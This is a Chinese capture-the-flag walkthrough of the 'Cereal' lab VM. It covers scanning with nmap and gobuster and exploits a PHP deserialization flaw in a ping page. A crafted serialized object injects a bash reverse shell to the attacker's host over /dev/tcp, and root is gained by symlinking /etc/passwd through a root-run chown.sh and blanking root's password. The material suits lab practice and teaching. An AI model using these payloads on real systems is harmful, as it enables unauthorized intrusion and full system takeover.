Cereal 靶机

文章描述了一次网络安全渗透测试的过程,包括使用arp-scan和nmap进行信息收集,gobuster探测目录和子域,尝试SQL注入和命令执行。在发现命令执行漏洞后,利用PHP代码反弹shell,并通过修改chown.sh文件权限实现提权,最终获取flag。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

环境准备

靶机链接:百度网盘 请输入提取码

提取码:bcj2

虚拟机网络链接模式:桥接模式

攻击机系统:kali linux 2021.1

信息收集

1.探测目标靶机 arp-scan -l

2.nmap -p- -A -T4 192.168.1.107

探测目标靶机开放端口和服务

漏洞探测

1.登录ftp查看可利用信息

tp 192.168.1.107

没有找到可以利用的信息

2.用gobuster对目录进行扫描

gobuster dir -u http://192.168.1.107 -w /usr/share/wordlists/dirb/big.txt -t 50

3.访问扫到的目录

4.http://192.168.1.107/admin/index.php 尝试sql注入的可能

5.http://192.168.1.107/blog/ 网页加载不完整,查看源码

6.curl -i -L http://192.168.1.107/blog 查看源码,发现域名信息

7. echo '192.168.1.107 cereal.ctf' >> /etc/hosts

source /etc/hosts

再次访问页面正常状态

8.gobuster vhost -u http://cereal.ctf -w /usr/share/wordlists/dirb/big.txt

没有检测到任何子域信息

9.访问44441端口

10.用gobuster对44441端口,其子域进行扫描

11.成功探测到子域信息,将子域添加到/etc/hosts

echo '192.168.1.107 secure.cereal.ctf' >> /etc/hosts

12.访问网页是一个执行ping命令的网页,那就可能存在命令执行漏洞

13.输入192.168.1.106-c 3;whoami

#-c 3 ping命令只执行三次 输入命令,没有回显。用curl命令看网页源码

14.发现serialize()函数 这是序列化

15. 扫描子域的目录

gobuster dir -u http://secure.cereal.ctf:44441 -w /usr/share/wordlists/dirb/big.txt -t 50

漏洞利用

1.更换字典,成功扫出back_en目录

gobuster dir -u http://secure.cereal.ctf:44441 \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 -e

//一定要用-t 参数设置线程 要不然很慢,我这里用和没有差距在三分钟

2.查看网页 curl -i -L http://secure.cereal.ctf:44441/back_en/

3.成功扫出新目录

4.用curl命令查看新目录的源码,发现为ping命令的代码

pingTest这个类具有三个属性 ipAddress 来自请求正文, isValid 确定输入是否有效以及随后发送的输出。默认情况下,isValid 的值为 False,因此从浏览器发送请求时,它一定都会进入 if 模块。该模块检查该值是否为 IP 地址。因此,当我们尝试注入命令时,它拒绝了输入,所以,如果我们在请求中发送值 True,则根本不会执行 if 块。然后,它会直接调用 ping 方法。

curl -i -L http://secure.cereal.ctf:44441/back_en/index.php.bak

5.所以这里可以利用bp抓包,将public $isvalid = True;直接自己构造一个函数,进行反弹 shell的命令。

<?php

class pingTest {
	public $ipAddress = "192.168.1.106;bash -c 'bash -i >& /dev/tcp/192.168.1.106/4444 0>&1'";
	public $isValid =True;
}


echo urlencode(serialize(new pingTest))
?>

6.抓到数据包后将obj=后的数据替换为自己构造的php代码即可反弹shell

权限提升

1.SHELL=bash script -q /dev/null 回弹交互式shell

2.在找不到任何有用信息后,上传我们的pspy64(github可以找到),

发现一个uid=0 也就是root用户执行的文件 chown.sh

3.chown 需要超级用户 root 的权限才能执行此命令,通过chown改变文件的拥有者和群组 ,我们先查看chown.sh文件,发下只有可读权限,只有root有执行权限。

4.chown.sh它这个命令的强大可以把我想改的文件去更换拥有者,所以创建一个软连接,让它来帮我去执行,/etc/passwd 文件是可读可写可更改的 那我们可以把root用户密码改为空,达到提权的目的

5.等过几分钟后,文件拥有者已经改变

6.etc/passwd 文件中的 x 是保存加密密码的地方。因此,如果我从该行中删除了 x ,也就是删除 root 用户的密码身份验证。

7.由于靶机本地用vi命令无法改,故将passwd下载到本地,把root用户改为无密码登录,再上传到靶机,进行提权操作。

8.成功上传后,执行su命令进入root目录 拿下flag!!!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值